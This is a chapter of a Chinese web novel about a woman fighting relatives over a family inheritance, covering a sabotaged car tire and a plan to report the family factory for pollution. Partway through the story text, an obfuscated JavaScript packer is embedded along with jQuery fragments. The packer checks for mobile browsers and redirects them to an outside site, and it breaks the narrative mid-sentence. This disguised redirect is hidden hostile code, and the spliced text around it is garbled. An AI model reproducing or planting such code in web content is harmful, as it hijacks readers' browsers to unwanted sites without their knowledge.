23. Counter

作品:《侵占遗产之后[年下]

    闵金瑛说完这句,忍不住抬手在洪宇脑袋上从后往前一拍。


    她摆着手指头给洪宇数:“暂停原料供应商货款,断料停产。


    “举报服装厂环境污染,让政府来强制关停和罚款。


    “把创新板块和设计团队挖走断后路。”


    她点着洪宇的太阳穴:“你这三条一做下去,你信不信闵家那些老不死的小不死的,明天就能拿着刀上深圳捅你和我?”


    洪宇忍着没有推开闵金瑛的手,只是抬起自己的手来挡住,看着闵金瑛,一双下垂眼比往常更显无辜,任谁也想不到那样狠辣不留后路的计划是他做的。


    他辩解:“这样不是最有效吗?本来你现在就捏着服装产业的供应商和下游的外贸出口。服装厂的环保问题也被查了很多次了,再举报也怀疑不到你的头上来。设计团队更是,本身人才流失率就高,我就这么问一圈都知道了顶上的老板是你二叔那边的关系户,根本就是草包。”


    闵金瑛看了洪宇半晌,立掌一拍,把他挡着的那只手打开,揪着他的脸颊肉:“闵家是从山东迁过来的,在汕头怎么发家的,你查过吗?我爸我哥怎么开始做正经生意的?为什么去深圳不留在汕头?闵家这些亲戚现在手上干净不干净?”


    一连数问如连珠炮。


    洪宇愣愣看着闵金瑛,小狗眼下垂,眼珠子往低处一转,抬起来又是半信半疑。


    “臭小子……”


    话刚起头,忽然车前侧嘭的一声炸响,车身登时失去平衡。闵金瑛下意识撑住靠背,伏身抬腿抵住前面座椅。


    司机猛打方向盘,金属巨兽在柏油马路路沿滑行数米,终于停下。车往前倾斜,副驾驶那边明显往下低了一节。


    “别下车。”司机贴着方向盘,抬眼看车窗外,右手抓起电话按几下发出消息,左手已经摸出伸缩甩棍。


    后座里,闵金瑛撑着座椅起身,低头看洪宇,左手捏住他下巴让他抬头。刚刚车子忽然失去平衡,她侧身固定住自己,撞在洪宇身上,差点就把这小子的头往车门里按。


    左看右看,除了惊魂未定,也没有淤青伤口,闵金瑛松了一口气,要是洪宇有个什么三长两短,闵堃说什么也不会放过她。


    洪宇握着闵金瑛的左手,缓缓从她身下起来,胸膛起伏大口呼吸。


    “怎么办?”他声音也跟着压低,话说出口带着颤抖。


    闵金瑛放开洪宇的下巴,压着他的肩膀让他别坐得太直太惹眼。她随手在他头顶揉了揉:“没事,胆儿别这么小。”


    话音刚落,路口已经开出来一辆黑色别克,洪宇一颗心提到嗓子眼儿。可前头司机已经推门下车,转过来打开后座车门。


    闵金瑛推着洪宇下车,换到了别克上,前头驾驶室坐的人洪宇认得,是上次把他从广州送回来的那个男司机。


    “放宽心吧臭小子,我的车一直有备用车一路跟着。我的安保负责人连湘很厉害的,她退伍之后去非洲去东南亚都做过安保,带的人都很专业。”


    洪宇透过车窗往外看,见连湘绕着他们原来坐的车走了一圈,在右前侧的车轮处蹲下看了看,踱步低头扫了一下地面,转身就回来打开车门坐进了别克的副驾驶室。


    没有一瞬停顿犹豫,别克直接往前,开上公路往闵家老宅去。


    “右前车轮爆胎,扎钉。已经让人去拖车回去看了,路上的监控也在找,不过从祠堂开出来的那段路,都是村路,找监控有点困难。”


    闵金瑛瞥了洪宇一眼,他当即想到刚刚闵金瑛在车上说的话,脸色登时白如纸。


    连湘转身过来,朝闵金瑛伸出手:“闵总,你的手腕。”


    洪宇低头看,这才注意到闵金瑛一直用左手捂着自己的右手手腕,左手拇指支起充当固定,从手指下青筋高耸,撑起手背的透白的皮肤。


    刚刚车震动失去平衡的时候,闵金瑛撑着椅背扑过来,膝盖抵着车门,几乎是把他像母鸡护着小鸡崽子一样挡在身下。


    “你的手,怎么了?”


    洪宇伸手过去要拉闵金瑛的手臂,想看看她手腕怎么样。可闵金瑛左手抬起一拍就在他脑门来了一下。


    “别动我,你脑子撞傻了吗?扭伤了不能动不知道啊,我的手要是有什么事我就废了你的手。”


    闵金瑛抬腿用膝盖挡着洪宇:“离我远点,坐好。”


    她重新固定住右手手腕,脸色如旧,好像伤处没有一点疼痛。她开口就是问连湘:“闵金玺出事的那辆车还在吗?”


    连湘轻轻啊了一声,停顿两秒开口回答:“在,事故后提了回来,放在仓库,没有走报废流程。要找人查对吗?”


    闵金瑛点点头:“找人再仔细看看吧。”


    别克开进公路主路,并进车流中,闵金瑛靠进椅背里,扭头望向车窗外,缓缓皱起眉头。幸好连湘开车稳当,如果等上了公路再抛锚,少不了就是连环追尾。


    “闵金……姑姑,你觉得,都是那些闵家亲戚做的?因为不愿意服装厂被切割出去?”


    闵金瑛回头看向洪宇。少年难得露出这样的表情,惊慌后的乖巧,温声询问她的看法。


    她歪歪头,话语也报以难得的耐心:“闵家这帮亲戚靠着服装厂作威作福,服装厂虽然收益不怎么样,可养当地不少劳动力,里外跟个小朝廷一样。闵金玺行事激进,你也看见我二叔对他的态度了。”


    “可你提出的方案已经够温和了。”


    闵金瑛抿抿嘴唇:“不好说,我二叔现在是这个小朝廷里的老皇帝,如果闵家其他亲戚都心动了,那就被收编到我手下了,老皇帝被架空了,怎么会高兴呢?”


    可她说着又摇了摇头:“从我们打祠堂出来,上车离开,还不到二十分钟。因为方案整我的可能性也不大,或许只是要给我一个下马威,不然也不会只是一枚钉子了。”


    前头连湘又发问:“要不要通知文总助,直接回深圳?”


    “不行。”闵金瑛回答得斩钉截铁,“我可不能当逃兵,还能被一颗钉子吓到?不管是不是他们放的,如果我现在走了,一定会被他们瞧不起,之后就不好办了。”


    “这……”


    “要么,你也还他们一个下马威?”


    闵金瑛把目光挪回洪宇脸上。


    洪宇怯怯眼神带犹疑,抿着唇等她发话。


    “继续说。”


    少年眉头往上抬了抬,语气温和,字字清楚:“我的方案里的三个提议对比来说,服装厂环境污染举报的伤害程度最小,威慑最大。关停罚款,加上媒体宣传。既然轮胎的钉子不确定是不是他们扎的,这颗钉子他们也不能确定是不是你扎的。”


    闵金瑛的眼皮缓缓垂下去,睫毛跟着上下慢慢动,像是咀嚼洪宇刚刚的字句。


    “行吧。”


    车一路开回闵家的南洋风庄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720435|187203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    园老宅,洪宇先推门下车,正要绕过去给闵金瑛开门,那边的车门已经被佣人从外打开,连湘过去扶着闵金瑛进门,开口就吩咐管家送医药箱上去。


    洪宇站在边上,什么也插不上手,只能看着连湘陪闵金瑛上楼,管家提着药品蹭蹭蹭跟着上去。


    人刚上楼,后头门前车辆紧急刹车的摩擦声又响起,洪宇转身去看,只见文墨从车上下来,几乎是跑着进来。


    她一看见洪宇就拧起眉头:“你们出车祸了?闵金瑛呢?”


    洪宇指向楼上:“她手受伤了,司机扶她上去……”


    话没说完,文墨已经转身上楼去,两级阶梯并作一级走,一面走一面嘟囔:“居然敢第一天就动手,还在祠堂外头,是可忍孰不可忍……”


    文墨推开闵金瑛房门的时候,连湘正握着闵金瑛的手腕检查,轻轻一扭动,闵金瑛就倒吸一口气。刚才还只是泛白的皮肤,现在已经高高肿起来,围着腕骨一圈红彤彤。


    连湘从管家提来的医药箱里头翻出云南白药,算着时间重复喷三遍,又在中心处上了一贴撒隆巴斯,围了几圈绷带固定。


    连湘临走时又设了一个定时器,说四个小时之后还会来换一次药,明天后天差不多就好了。


    文墨拧着眉毛坐在一旁,缓缓喘着气,只盯着闵金瑛的手腕看。直到连湘和管家都出去了,她才开口:“我是不是早说过了,让你见好就收,你看看闵家这都是些什么人?你想要闵家家产,就要跟这些死鱼烂虾缠斗一辈子。这只是开始。”


    闵金瑛拉着文墨的衣服下摆,左右摇了摇:“疼呢,别说我了墨墨。”


    文墨闭了闭眼:“你准备怎么做?不能吃了这个暗亏,什么都不做,之后就不好谈了。这口气也咽不下去。”


    闵金瑛抬起自己安好的左手,拍了拍文墨的右肩膀:“便宜侄子给我支了个小妙招,把闵家服装厂举报了,不管是不是他们干的,先回敬一刀。”


    文墨抬起眉毛:“用什么名目?”


    “环保吧,污水处理不合格什么的。上年不是才被勒令整改过一次,还小小爆出来一波新闻。我记得闵金玺费了点力气才压下去,然后就传出来他要把服装产业切割出去的消息。”


    “也是个办法,正好……”


    门被敲响三声。


    闵金瑛和文墨对视一眼:“进来。”


    门打开,是洪宇。手上还托着个木托盘,一边是热气袅袅的一只碗。他走进来把木托盘放下,把碗端到闵金瑛面前,直起身前还把勺子推到左边放稳。


    少年的目光落在层层白纱布上。


    “厨房煲的皮蛋瘦肉粥。”


    闵金瑛看着那碗粥一乐:“怎么不炖蹄花汤?”


    文墨先啧了一声,抄起连湘留下来的冰贴,放到闵金瑛的手腕上:“还笑,我都后怕。”


    “小事啦。”闵金瑛蹭了蹭文墨的肩膀,左手扶着冰贴,腾出一只指头,指着木托盘上另一头鼓鼓一坨毛巾,“拿过来帮我绑一下手腕,我这扶着不方便。”


    洪宇有些迟疑,看了眼闵金瑛手腕上的冰贴,把毛巾拆开,里头的冰袋露出来。他拿着毛巾走到闵金瑛身侧,用毛巾把冰贴包在闵金瑛的手腕上,首尾轻轻掖进去固定。


    少年声音细小,似乎在喉头酝酿了很久,实际说出口时像发过了头的面团,软塌塌不成样子。


    “额……谢谢你。”